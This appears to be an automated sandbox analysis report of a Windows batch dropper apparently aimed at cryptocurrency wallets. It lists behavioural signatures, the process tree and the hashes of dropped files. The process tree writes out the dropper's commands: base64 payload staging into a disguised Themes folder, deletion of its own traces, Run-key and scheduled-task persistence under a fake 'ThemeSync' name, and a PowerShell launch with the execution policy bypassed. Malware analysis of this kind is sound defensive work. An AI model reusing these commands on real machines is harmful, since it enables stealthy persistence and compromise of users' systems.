Analysis

  • max time kernel
    300s
  • max time network
    202s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 18:05

General

  • Target
    CryptoPulse-Single-Dropper-YourAddrs.bat
  • Size 27KB
  • Sample260602-wpghssds7k
  • SHA256 fbde54cb988fbbf66373b7e8d7d4c440feeccbae0a4ab279e456eb0984ed8de6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat" hide
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3780
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM powershell.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4636
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM wscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4104
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:1396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\theme.ps1', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\bip39.txt', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\launch.vbs', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4036
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ThemeSync" /t REG_SZ /d "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /f
        3⤵
        • Adds Run key to start application
        PID:4920
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "MicrosoftWindowsThemeSync" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1732
      • C:\Windows\system32\wscript.exe
        wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3524
  • C:\Windows\system32\wscript.exe
    wscript.exe
    1⤵
      PID:228

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 99570f5fb2cdea71b49f1704812a3dac1bf98b00f13269108b17a4d40816c88e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 34e44060ab82aa2a3f7007afad1fd907e1a319b26e3e7061cefbfb001d5021ae
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_3s4u521r.2lb.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3s4u521r.2lb.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          cp_bip.b64

          • Path C:\Users\Admin\AppData\Local\Temp\cp_bip.b64
          • Size 17KB
          • SHA256 c38883a93ee16c11557c0c8eed35bd67e0977c253fe939178c252a07c4e47c81
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cp_ps1.b64

          • Path C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64
          • Size 7KB
          • SHA256 fedd64e81dacbec7993481b5cfe383db065e970c125ffb654bf09c168b4c1edb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cp_vbs.b64

          • Path C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64
          • Size 374B
          • SHA256 c74a955436e350b7f876966191f4112427a8946e0fdd3cbe61291337a6ed954b
          • MD5 SHA1 SHA512 TLSH

          bip39.txt

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\bip39.txt
          • Size 12KB
          • SHA256 d0003245f30106bd5d7ef8ebd135f5c6b0c3ab1f6c874184784d658737294828
          • MD5 SHA1 SHA512 SSDEEP TLSH

          launch.vbs

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs
          • Size 279B
          • SHA256 bff1501bee3106a6b4d904a72f0b4f1a2c3ef69a83b93613c19ce133c65901cd
          • MD5 SHA1 SHA512 TLSH

          theme.ps1

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1
          • Size 5KB
          • SHA256 867722324af9e7c8bf7227e2e4be723c302fd456bda1556ab7d8553fcf17a372
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1776-3-0x000002DDCF5B0000-0x000002DDCF5C0000-memory.dmp

          memory/1776-10-0x000002DDEAEB0000-0x000002DDEAED2000-memory.dmp

          memory/1776-2-0x000002DDCF5B0000-0x000002DDCF5C0000-memory.dmp

          memory/3524-63-0x000001CDB97D0000-0x000001CDB97EC000-memory.dmp

          memory/3524-64-0x000001CDB97F0000-0x000001CDB98A3000-memory.dmp

          memory/3524-65-0x000001CDB7440000-0x000001CDB744A000-memory.dmp

          memory/3524-66-0x000001CDB9B30000-0x000001CDB9B5A000-memory.dmp

          memory/3524-67-0x000001CDB9B30000-0x000001CDB9B54000-memory.dmp

          memory/3524-68-0x000001CDB9CD0000-0x000001CDB9E92000-memory.dmp

          memory/3524-69-0x000001CDBA3D0000-0x000001CDBA8F8000-memory.dmp